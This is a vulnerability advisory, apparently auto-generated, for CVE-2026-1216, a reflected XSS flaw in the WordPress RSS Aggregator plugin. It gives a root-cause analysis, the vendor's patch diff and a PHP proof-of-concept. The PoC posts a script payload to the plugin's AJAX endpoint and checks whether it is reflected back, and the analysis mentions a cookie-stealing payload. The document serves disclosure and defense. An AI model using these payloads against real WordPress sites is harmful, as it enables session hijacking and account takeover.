Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1216: RSS Aggregator <= 5.0.10 – Reflected Cross-Site Scripting via 'template' Parameter (wp-rss-aggregator)

CVE ID CVE-2026-1216
Plugin wp-rss-aggregator
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.0.10
Patched Version 5.0.11
Disclosed February 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1216:
This vulnerability is a reflected Cross-Site Scripting (XSS) flaw in the RSS Aggregator WordPress plugin affecting versions up to 5.0.10. The vulnerability exists in the plugin’s rendering functionality, specifically through insufficient sanitization of user-supplied shortcode attributes. The CVSS score of 7.2 indicates a high-severity issue that enables unauthenticated attackers to inject malicious scripts.

Atomic Edge research identified the root cause as inadequate input validation and output escaping for the ‘template’ parameter and other shortcode attributes. The vulnerable code path begins in wp-rss-aggregator/core/src/Renderer.php at line 198, where the render() method processes user-supplied arguments. The ‘template’ parameter (line 246) and other attributes like ‘align’, ‘limit’, ‘pagination’, ‘exclude’, ‘source’, ‘sources’, ‘feeds’, ‘category’, ‘folders’, ‘className’, and ‘page’ (lines 198-319) were passed directly without proper sanitization. These values flow through the rendering pipeline and are eventually output in HTML contexts without escaping.

Exploitation occurs via crafted links containing malicious JavaScript in the ‘template’ parameter or other shortcode attributes. Attackers can target the plugin’s AJAX endpoint at /wp-admin/admin-ajax.php with action=wpra.render.display. The payload is delivered through the ‘template’ parameter in the POST data, which gets reflected in the HTTP response without proper escaping. Example payloads include alert(document.cookie) or encoded variations that bypass basic filtering.

The patch addresses the vulnerability through multiple layers of defense. In wp-rss-aggregator/core/src/Renderer.php, the developer added sanitize_text_field() calls for all user-controlled parameters: ‘template’ (line 246), ‘align’, ‘limit’, ‘pagination’ (lines 198-200), ‘exclude’ (line 246), ‘source’, ‘sources’, ‘feeds’ (lines 262-264), ‘category’, ‘folders’ (line 310), and ‘page’ (line 319). For the ‘className’ parameter, they used sanitize_html_class() (line 319). The patch also introduces a nonce verification check in wp-rss-aggregator/core/modules/renderer.php (lines 55-61) to prevent CSRF attacks and adds output escaping in LayoutTrait.php for authorPrefix (line 134) and sourcePrefix (line 210).

Successful exploitation allows attackers to execute arbitrary JavaScript in the victim’s browser context. This enables session hijacking, credential theft, administrative actions through CSRF, and defacement of affected pages. Since the vulnerability requires no authentication, any WordPress site using the vulnerable plugin version is exposed to drive-by attacks through malicious links.

Differential between vulnerable and patched code

Code Diff 
--- a/wp-rss-aggregator/core/modules/renderer.php
+++ b/wp-rss-aggregator/core/modules/renderer.php
@@ -55,6 +55,12 @@
 				die();
 			}

+			$nonce = $data['_wpnonce'] ?? '';
+			if ( ! wp_verify_nonce( $nonce, 'wpra_render_display' ) ) {
+				status_header( 403 );
+				echo 'Nonce verification failed.';
+				die();
+			}
 			// The $data array now contains all persisted shortcode attributes
 			// from hx-vals, including id, page, sources, limit, exclude, pagination, template.
 			// Pass the whole $data array to renderArgs.
--- a/wp-rss-aggregator/core/src/Display/LayoutTrait.php
+++ b/wp-rss-aggregator/core/src/Display/LayoutTrait.php
@@ -131,7 +131,7 @@

 		return sprintf(
 			'<span class="feed-author">%s</span>',
-			rtrim( $this->ds->authorPrefix ) . ' ' . $authorName
+			esc_html( rtrim( $this->ds->authorPrefix ) . ' ' . $authorName )
 		);
 	}

@@ -207,10 +207,17 @@
 		}

 		$tag = $block ? 'div' : 'span';
+		$prefix = esc_html( $this->ds->sourcePrefix );
+
+		// $srcName is already HTML from renderLink, so it doesn't need escaping again.
+		// If linking is disabled, $srcName is just the source name string, which needs escaping.
+		if ( ! ( $this->ds->linkSource && $links && ! empty( $url ) ) ) {
+			$srcName = esc_html( $srcName );
+		}

 		return <<<HTML
             <{$tag} class="feed-source">
-                {$this->ds->sourcePrefix} {$srcName}
+                {$prefix} {$srcName}
             </{$tag}>
         HTML;
 	}
--- a/wp-rss-aggregator/core/src/Display/ListLayout.php
+++ b/wp-rss-aggregator/core/src/Display/ListLayout.php
@@ -2,10 +2,10 @@

 namespace RebelCodeAggregatorCoreDisplay;

-use RebelCodeAggregatorCoreDisplayDisplayState;
-use RebelCodeAggregatorCoreDisplayLayoutInterface;
-use RebelCodeAggregatorCoreDisplayLayoutTrait;
 use RebelCodeAggregatorCoreIrPost;
+use RebelCodeAggregatorCoreDisplayLayoutTrait;
+use RebelCodeAggregatorCoreDisplayLayoutInterface;
+use RebelCodeAggregatorCoreDisplayDisplayState;

 class ListLayout implements LayoutInterface {

@@ -33,9 +33,10 @@

 		$listStart = ( $state->page - 1 ) * $this->ds->numItems + 1;
 		$listItems = $this->renderItems( $posts, fn ( IrPost $post ) => $this->item( $post ) );
+		$htmlClass = esc_attr( $this->ds->htmlClass );

 		return <<<HTML
-            <div class="wp-rss-aggregator wpra-list-template {$this->ds->htmlClass}">
+            <div class="wp-rss-aggregator wpra-list-template {$htmlClass}">
                 <{$listType} class="rss-aggregator wpra-item-list {$listClass}" start="{$listStart}">
                     {$listItems}
                 </{$listType}>
@@ -44,8 +45,10 @@
 	}

 	private function item( IrPost $post ): string {
+		$htmlClass = esc_attr( $this->ds->htmlClass );
+
 		return <<<HTML
-            <li class="wpra-item feed-item {$this->ds->htmlClass}">
+            <li class="wpra-item feed-item {$htmlClass}">
                 {$this->renderTitle($post)}

                 <div class="wprss-feed-meta">
--- a/wp-rss-aggregator/core/src/IrPost/IrImage.php
+++ b/wp-rss-aggregator/core/src/IrPost/IrImage.php
@@ -5,6 +5,7 @@
 namespace RebelCodeAggregatorCoreIrPost;

 use WP_Post;
+use WP_Error;
 use RebelCodeAggregatorCoreUtilsSize;
 use RebelCodeAggregatorCoreUtilsResult;
 use RebelCodeAggregatorCoreUtilsArrays;
@@ -62,128 +63,237 @@
 	 * @return Result<int> The result, containing the ID of the downloaded image if successful.
 	 */
 	public function download( int $postId = 0 ): Result {
-		if ( ! function_exists( 'media_sideload_image' ) ) {
+		if ( ! function_exists( 'media_handle_sideload' ) ) {
 			require_once ABSPATH . 'wp-admin/includes/media.php';
 			require_once ABSPATH . 'wp-admin/includes/file.php';
 			require_once ABSPATH . 'wp-admin/includes/image.php';
 		}

-		// Image has an ID already, so it should exist in the media library
+		// Already exists by ID.
 		if ( $this->id !== null ) {
 			$existing = get_post( $this->id );
 			if ( $existing instanceof WP_Post ) {
 				return Result::Ok( $existing->ID );
-			} else {
-				return Result::Err( "Image #{$this->id} does not exist in the media library." );
 			}
+			return Result::Err( "Image #{$this->id} does not exist in the media library." );
 		}

+		// Base64 / Data URI.
 		if ( strpos( $this->url, 'data:image' ) === 0 ) {
-			global $wp_filesystem;
-			if ( ! $wp_filesystem ) {
-				require_once ABSPATH . 'wp-admin/includes/file.php';
-				WP_Filesystem();
-			}
+			return $this->download_base64_image( $postId );
+		}

-			list($type, $data) = explode( ';', $this->url );
-			list(, $data)      = explode( ',', $data );
-			$binary = base64_decode( $data );
-			$hash = hash( 'sha256', $binary );
-
-			$existing = get_posts(
-				array(
-					'post_type' => 'attachment',
-					'post_status' => 'any',
-					'meta_query' => array(
-						array(
-							'key' => 'wprss_source_data_hash',
-							'value' => $hash,
-						),
+		// Already imported by URL.
+		$existing = query_posts(
+			array(
+				'post_type' => 'attachment',
+				'post_status' => 'any',
+				'meta_query' => array(
+					array(
+						'key' => ImportedMedia::SOURCE_URL,
+						'value' => $this->url,
 					),
-				)
-			);
+				),
+			)
+		);

-			if ( count( $existing ) > 0 ) {
-				return Result::Ok( $existing[0]->ID );
-			}
+		if ( count( $existing ) > 0 && is_object( $existing[0] ) ) {
+			return Result::Ok( $existing[0]->ID );
+		}

-			$tmp_file_path = wp_tempnam( 'wprss-datauri' );
-			if ( ! $tmp_file_path ) {
-				return Result::Err( 'Could not create temporary file.' );
-			}
+		$desc = $postId > 0
+			? sprintf( '[Aggregator] Downloaded image for imported item #%d', $postId )
+			: 'Imported by WP RSS Aggregator';
+
+		// Fast path: normal media sideload.
+		$id = media_sideload_image( $this->url, $postId, $desc, 'id' );
+		if ( ! is_wp_error( $id ) ) {
+			update_post_meta( $id, ImportedMedia::SOURCE_URL, $this->url );
+			return Result::Ok( (int) $id );
+		}

-			if ( ! $wp_filesystem->put_contents( $tmp_file_path, $binary, FS_CHMOD_FILE ) ) {
-				@unlink( $tmp_file_path );
-				return Result::Err( 'Could not write to temporary file.' );
-			}
+		// Robust fallback sideload.
+		$this->url = trim( html_entity_decode( $this->url ) );
+		$id = $this->sideload_image( $this->url, $postId, $desc );
+		if ( ! is_wp_error( $id ) ) {
+			update_post_meta( $id, ImportedMedia::SOURCE_URL, $this->url );
+			return Result::Ok( (int) $id );
+		}

-			$mime_type = str_replace( 'data:', '', $type );
-			$extension = '.jpg';
-			$mime_to_ext = array(
-				'image/jpeg' => '.jpg',
-				'image/png'  => '.png',
-				'image/gif'  => '.gif',
-				'image/bmp'  => '.bmp',
-				'image/webp' => '.webp',
-			);
-			if ( isset( $mime_to_ext[ $mime_type ] ) ) {
-				$extension = $mime_to_ext[ $mime_type ];
-			}
+		// Final browser-safe anti-bot fallback.
+		$id = $this->sideload_image_with_remote_get( $this->url, $postId, $desc );
+		if ( ! is_wp_error( $id ) ) {
+			update_post_meta( $id, ImportedMedia::SOURCE_URL, $this->url );
+			return Result::Ok( (int) $id );
+		}

-			$filename = 'image-' . uniqid() . $extension;
+		return Result::Err( 'All image download attempts failed.' );
+	}

-			$file_array = array(
-				'name'     => $filename,
-				'tmp_name' => $tmp_file_path,
-			);
-
-			$desc = ( $postId > 0 )
-				? sprintf( __( '[Aggregator] Downloaded image for imported item #%d', 'wpra' ), $postId )
-				: __( 'Imported by WP RSS Aggregator', 'wpra' );
-
-			$id = media_handle_sideload( $file_array, $postId, $desc );
-
-			@unlink( $tmp_file_path );
-
-			if ( is_wp_error( $id ) ) {
-				return Result::Err( $id->get_error_message() );
-			} else {
-				update_post_meta( $id, 'wprss_source_data_hash', $hash );
-				update_post_meta( $id, ImportedMedia::SOURCE_URL, $this->url );
-				return Result::Ok( $id );
-			}
+	/**
+	 * Base64 image download with hash deduplication.
+	 */
+	private function download_base64_image( int $postId ): Result {
+		global $wp_filesystem;
+		if ( ! $wp_filesystem ) {
+			require_once ABSPATH . 'wp-admin/includes/file.php';
+			WP_Filesystem();
 		}

-		$existing = query_posts(
+		list($type, $data) = explode( ';', $this->url );
+		list(, $data)      = explode( ',', $data );
+		$binary = base64_decode( $data );
+		$hash = hash( 'sha256', $binary );
+
+		$existing = get_posts(
 			array(
-				'post_type' => 'attachment',
+				'post_type'   => 'attachment',
 				'post_status' => 'any',
-				'meta_query' => array(
+				'meta_query'  => array(
 					array(
-						'key' => ImportedMedia::SOURCE_URL,
-						'value' => $this->url,
+						'key'   => 'wprss_source_data_hash',
+						'value' => $hash,
 					),
 				),
+				'fields'      => 'ids',
+				'numberposts' => 1,
 			)
 		);

-		if ( count( $existing ) > 0 && is_object( $existing[0] ) ) {
+		if ( count( $existing ) > 0 ) {
 			return Result::Ok( $existing[0]->ID );
-		} else {
-			$desc = ( $postId > 0 )
-			? sprintf( __( '[Aggregator] Downloaded image for imported item #%d', 'wpra' ), $postId )
-				: __( 'Imported by WP RSS Aggregator', 'wpra' );
-
-			$result = media_sideload_image( $this->url, $postId, $desc, 'id' );
-
-			if ( is_wp_error( $result ) ) {
-				return Result::Err( $result->get_error_message() );
-			} else {
-				$id = (int) $result;
-				update_post_meta( $id, ImportedMedia::SOURCE_URL, $this->url );
-				return Result::Ok( $id );
-			}
 		}
+
+		$tmp_file = wp_tempnam( 'wprss-datauri' );
+		if ( ! $tmp_file || ! $wp_filesystem->put_contents( $tmp_file, $binary, FS_CHMOD_FILE ) ) {
+			@unlink( $tmp_file );
+			return Result::Err( 'Failed to create temporary file for Base64 image.' );
+		}
+
+		$mime_to_ext = array(
+			'image/jpeg' => '.jpg',
+			'image/png'  => '.png',
+			'image/gif'  => '.gif',
+			'image/bmp'  => '.bmp',
+			'image/webp' => '.webp',
+		);
+		$mime_type = str_replace( 'data:', '', $type );
+		$extension = $mime_to_ext[ $mime_type ] ?? '.jpg';
+		$filename = 'image-' . uniqid() . $extension;
+
+		$file_array = array(
+			'name' => $filename,
+			'tmp_name' => $tmp_file,
+		);
+		$desc = $postId > 0
+			? sprintf( '[Aggregator] Downloaded image for imported item #%d', $postId )
+			: 'Imported by WP RSS Aggregator';
+
+		$id = media_handle_sideload( $file_array, $postId, $desc );
+		@unlink( $tmp_file );
+
+		if ( ! is_wp_error( $id ) ) {
+			update_post_meta( $id, 'wprss_source_data_hash', $hash );
+			update_post_meta( $id, ImportedMedia::SOURCE_URL, $this->url );
+			return Result::Ok( $id );
+		}
+
+		return Result::Err( 'Failed to sideload Base64 image.' );
+	}
+
+	/**
+	 * Robust fallback sideload: detects MIME type, fixes extensions, handles WebP, GIF, BMP.
+	 */
+	private function sideload_image( string $url, int $postId = 0, string $desc = '' ) {
+		$tmp_file = download_url( $url, 15 );
+		if ( is_wp_error( $tmp_file ) ) {
+			return $tmp_file;
+		}
+
+		$finfo = finfo_open( FILEINFO_MIME_TYPE );
+		$mime_type = finfo_file( $finfo, $tmp_file );
+		finfo_close( $finfo );
+
+		$mime_to_ext = array(
+			'image/jpeg' => '.jpg',
+			'image/png'  => '.png',
+			'image/gif'  => '.gif',
+			'image/bmp'  => '.bmp',
+			'image/webp' => '.webp',
+		);
+
+		$extension = $mime_to_ext[ $mime_type ] ?? '.jpg';
+		$filename = basename( parse_url( $url, PHP_URL_PATH ) );
+		if ( ! preg_match( '/.(jpe?g|png|gif|bmp|webp)$/i', $filename ) ) {
+			$filename .= $extension;
+		}
+
+		$file_array = array(
+			'name' => $filename,
+			'tmp_name' => $tmp_file,
+		);
+		$id = media_handle_sideload( $file_array, $postId, $desc );
+		if ( is_wp_error( $id ) ) {
+			@unlink( $tmp_file );
+			return $id;
+		}
+
+		return $id;
+	}
+
+	private function sideload_image_with_remote_get( string $url, int $postId = 0, string $desc = '' ) {
+		$url = html_entity_decode( $url, ENT_QUOTES | ENT_HTML5 );
+		$url = str_replace( '\/', '/', $url );
+
+		$path = parse_url( $url, PHP_URL_PATH );
+		if ( $path && preg_match( '/.(jpgx|pngx|jpegx)$/i', $path ) ) {
+			$url = preg_replace( '/.([a-z]+)x(?|$)/i', '.$1$2', $url );
+		}
+
+		// Extract host for Referer.
+		$parsed = parse_url($url);
+		$referer = $parsed['scheme'] . '://' . $parsed['host'] ?? '';
+
+		$response = wp_remote_get(
+			$url,
+			array(
+				'timeout' => 20,
+				'headers' => array(
+					'User-Agent'      => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
+					'Accept'          => 'image/avif,image/webp,image/apng,image/*,*/*;q=0.8',
+					'Accept-Language' => 'en-US,en;q=0.9',
+					'Referer'         => $referer,
+				),
+			)
+		);
+
+		if ( is_wp_error( $response ) ) {
+			return $response;
+		}
+
+		$code = wp_remote_retrieve_response_code( $response );
+		$body = wp_remote_retrieve_body( $response );
+		if ( $code !== 200 || empty( $body ) ) {
+			return new WP_Error( 'image_blocked', "Image blocked by remote host (HTTP $code)" );
+		}
+
+		$tmp = wp_tempnam( 'wprss-img' );
+		file_put_contents( $tmp, $body );
+
+		$filename = basename( parse_url( $url, PHP_URL_PATH ) );
+		$filename = preg_replace( '/.(jpgx|pngx|jpegx)$/i', '.jpg', $filename );
+		$file_array = array(
+			'name' => $filename ?: 'image.jpg',
+			'tmp_name' => $tmp,
+		);
+
+		$id = media_handle_sideload( $file_array, $postId, $desc );
+		if ( is_wp_error( $id ) ) {
+			@unlink( $tmp );
+			return $id;
+		}
+
+		return $id;
 	}

 	/** Converts the IR image into an array. */
--- a/wp-rss-aggregator/core/src/Renderer.php
+++ b/wp-rss-aggregator/core/src/Renderer.php
@@ -198,15 +198,15 @@
 		if ( 'block' === $type && ! empty( $id ) ) {
 			$preserved_args = array(
 				'id' => $id,
-				'align' => $args['align'] ?? null,
-				'limit' => $args['limit'] ?? null,
-				'pagination' => $args['pagination'] ?? null,
+				'align'      => isset( $args['align'] ) ? sanitize_text_field( $args['align'] ) : null,
+				'limit'      => isset( $args['limit'] ) ? sanitize_text_field( $args['limit'] ) : null,
+				'pagination' => isset( $args['pagination'] ) ? sanitize_text_field( $args['pagination'] ) : null,
 			);
 			// Filter out null values to keep $args clean
-			$args = array_filter($preserved_args, fn($value) => $value !== null);
+			$args = array_filter( $preserved_args, fn( $value ) => $value !== null );
 		}

-		$v4Slug = trim( $args['template'] ?? '' );
+		$v4Slug = sanitize_text_field( $args['template'] ?? '' );
 		$display = new Display( null );

 		if ( ! empty( $v4Slug ) ) {
@@ -246,9 +246,9 @@
 		assert( $display instanceof Display );

 		// Process exclusions first
-		$excludeSrcsRaw = explode( ',', $args['exclude'] ?? '' );
+		$excludeSrcsRaw = explode( ',', sanitize_text_field( $args['exclude'] ?? '' ) );
 		$excludeSrcsInput = array_filter( array_map( 'trim', $excludeSrcsRaw ), 'is_numeric' );
-		if (!empty($excludeSrcsInput)) {
+		if ( ! empty( $excludeSrcsInput ) ) {
 			$v4IdMapExclude = $this->sources->resolveV4Ids( $excludeSrcsInput )->getOr( array() );
 			$v4IdsExclude = array_keys( $v4IdMapExclude );
 			$v5IdsFromV4Exclude = array_values( $v4IdMapExclude );
@@ -262,19 +262,19 @@
 		} else {
 			// If 'exclude' is not in $args, keep existing display settings (if any)
 			// or ensure it's an empty array if not set.
-			$display->settings->excludeSrcs = $display->settings->excludeSrcs ?? [];
+			$display->settings->excludeSrcs = $display->settings->excludeSrcs ?? array();
 		}

 		// Process sources: if any source-defining attributes are in $args,
 		// they override any sources set on the loaded $display.
-		$sourceArg = $args['source'] ?? '';
-		$sourcesArg = $args['sources'] ?? '';
-		$feedsArg = $args['feeds'] ?? '';
+		$sourceArg = sanitize_text_field( $args['source'] ?? '' );
+		$sourcesArg = sanitize_text_field( $args['sources'] ?? '' );
+		$feedsArg = sanitize_text_field( $args['feeds'] ?? '' );

 		if ( ! empty( $sourceArg ) || ! empty( $sourcesArg ) || ! empty( $feedsArg ) ) {
-			$display->sources = []; // Reset sources if specified in args
+			$display->sources = array(); // Reset sources if specified in args

-			$sourceIdsInput = [];
+			$sourceIdsInput = array();
 			$sourceExploded = explode( ',', $sourceArg );
 			$sourcesExploded = explode( ',', $sourcesArg );

@@ -285,7 +285,7 @@
 				}
 			}

-			$feedSlugsInput = [];
+			$feedSlugsInput = array();
 			$feedsExploded = explode( ',', $feedsArg );
 			foreach ( $feedsExploded as $slug ) {
 				$slug = trim( $slug );
@@ -298,7 +298,7 @@
 				$sourceIdsInput[] = $src->id;
 			}

-			$display->sources = array_unique($sourceIdsInput);
+			$display->sources = array_unique( $sourceIdsInput );
 		}
 		// If no source args, $display->sources remains as loaded (or default empty).

@@ -310,8 +310,8 @@
 			}
 		}

-		$categories = explode( ',', $args['category'] ?? '' );
-		$folders = explode( ',', $args['folders'] ?? '' );
+		$categories = explode( ',', sanitize_text_field( $args['category'] ?? '' ) );
+		$folders = explode( ',', sanitize_text_field( $args['folders'] ?? '' ) );
 		foreach ( array_merge( $categories, $folders ) as $folderName ) {
 			$folderName = trim( $folderName );
 			if ( ! empty( $folderName ) ) {
@@ -319,11 +319,11 @@
 			}
 		}

-		$className1 = trim( $args['className'] ?? '' );
+		$className1 = sanitize_html_class( ( $args['className'] ?? '' ) );
 		$className2 = trim( $display->settings->htmlClass ?? '' );
 		$display->settings->htmlClass = trim( $className1 . ' ' . $className2 );

-		$page = max( 1, $args['page'] ?? 1 );
+		$page = max( 1, sanitize_text_field( $args['page'] ?? 1 ) );

 		$display = apply_filters( 'wpra.renderer.parseArgs', $display, $args );

@@ -476,18 +476,20 @@

 		// Persist pagination enable/disable status if it was set
 		// In renderDisplay, $display->settings->enablePagination is modified by shortcode 'pagination'
-		if (isset($display->settings->enablePagination)) {
+		if ( isset( $display->settings->enablePagination ) ) {
 			$shortcode_args['pagination'] = $display->settings->enablePagination ? 'on' : 'off';
 		}

-        // If there's a V4 slug associated with the display, persist it.
-        // parseArgs uses 'template' to load a display.
-        // If an 'id' is present, 'id' takes precedence for loading, but 'template' might
-        // still be used by filters or other logic in parseArgs if present.
-        if (!empty($display->v4Slug)) {
-            $shortcode_args['template'] = $display->v4Slug;
-        }
+		// If there's a V4 slug associated with the display, persist it.
+		// parseArgs uses 'template' to load a display.
+		// If an 'id' is present, 'id' takes precedence for loading, but 'template' might
+		// still be used by filters or other logic in parseArgs if present.
+		if ( ! empty( $display->v4Slug ) ) {
+			$shortcode_args['template'] = $display->v4Slug;
+		}

+		// Add nonce to the shortcode arguments
+		$shortcode_args['_wpnonce'] = wp_create_nonce( 'wpra_render_display' );
 		$vals_data = array(
 			'action' => 'wpra.render.display',
 			// The 'data' key matches what the AJAX handler in core/modules/renderer.php expects
--- a/wp-rss-aggregator/core/src/V4/V4SourceMigrator.php
+++ b/wp-rss-aggregator/core/src/V4/V4SourceMigrator.php
@@ -172,6 +172,7 @@
 		$removeFtImage = $meta['wprss_ftp_remove_ft_image'] ?? '0';
 		$mustHaveFtImage = $meta['wprss_ftp_must_have_ft_image'] ?? '0';

+		$src->settings->postType = $meta['wprss_ftp_post_type'] ?? 'wprss_feed_item';
 		$src->settings->downloadImages = Bools::normalize( $saveImages );
 		$src->settings->downloadAllImgSizes = Bools::normalize( $saveAllSizes );
 		$src->settings->assignFtImage = Bools::normalize( $useFtImage );
--- a/wp-rss-aggregator/wp-rss-aggregator.php
+++ b/wp-rss-aggregator/wp-rss-aggregator.php
@@ -6,7 +6,7 @@
  * Plugin Name:       WP RSS Aggregator
  * Plugin URI:        https://wprssaggregator.com
  * Description:       An RSS importer, aggregator, and auto-blogger plugin for WordPress.
- * Version:           5.0.10
+ * Version:           5.0.11
  * Requires at least: 6.2.2
  * Requires PHP:      7.4.0
  * Author:            RebelCode
@@ -38,7 +38,7 @@
 }

 if ( ! defined( 'WPRA_VERSION' ) ) {
-	define( 'WPRA_VERSION', '5.0.10' );
+	define( 'WPRA_VERSION', '5.0.11' );
 	define( 'WPRA_MIN_PHP_VERSION', '7.4.0' );
 	define( 'WPRA_MIN_WP_VERSION', '6.2.2' );
 	define( 'WPRA_FILE', __FILE__ );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1216 - RSS Aggregator <= 5.0.10 - Reflected Cross-Site Scripting via 'template' Parameter

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// Malicious payload to demonstrate XSS
$payload = '<script>alert("Atomic Edge CVE-2026-1216 XSS PoC");</script>';

// Prepare POST data for the vulnerable AJAX endpoint
$post_data = array(
    'action' => 'wpra.render.display',
    'template' => $payload,  // Vulnerable parameter
    'id' => '1',             // Optional display ID
    'limit' => '10',
    'pagination' => 'on'
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for successful exploitation indicators
if ($http_code == 200 && strpos($response, $payload) !== false) {
    echo "[+] Vulnerability confirmed! Payload reflected in response.n";
    echo "[+] Response snippet: " . substr($response, strpos($response, $payload), 100) . "n";
} else {
    echo "[-] Target may not be vulnerable or plugin not active.n";
    echo "[-] HTTP Status: $http_coden";
}

curl_close($ch);

?>

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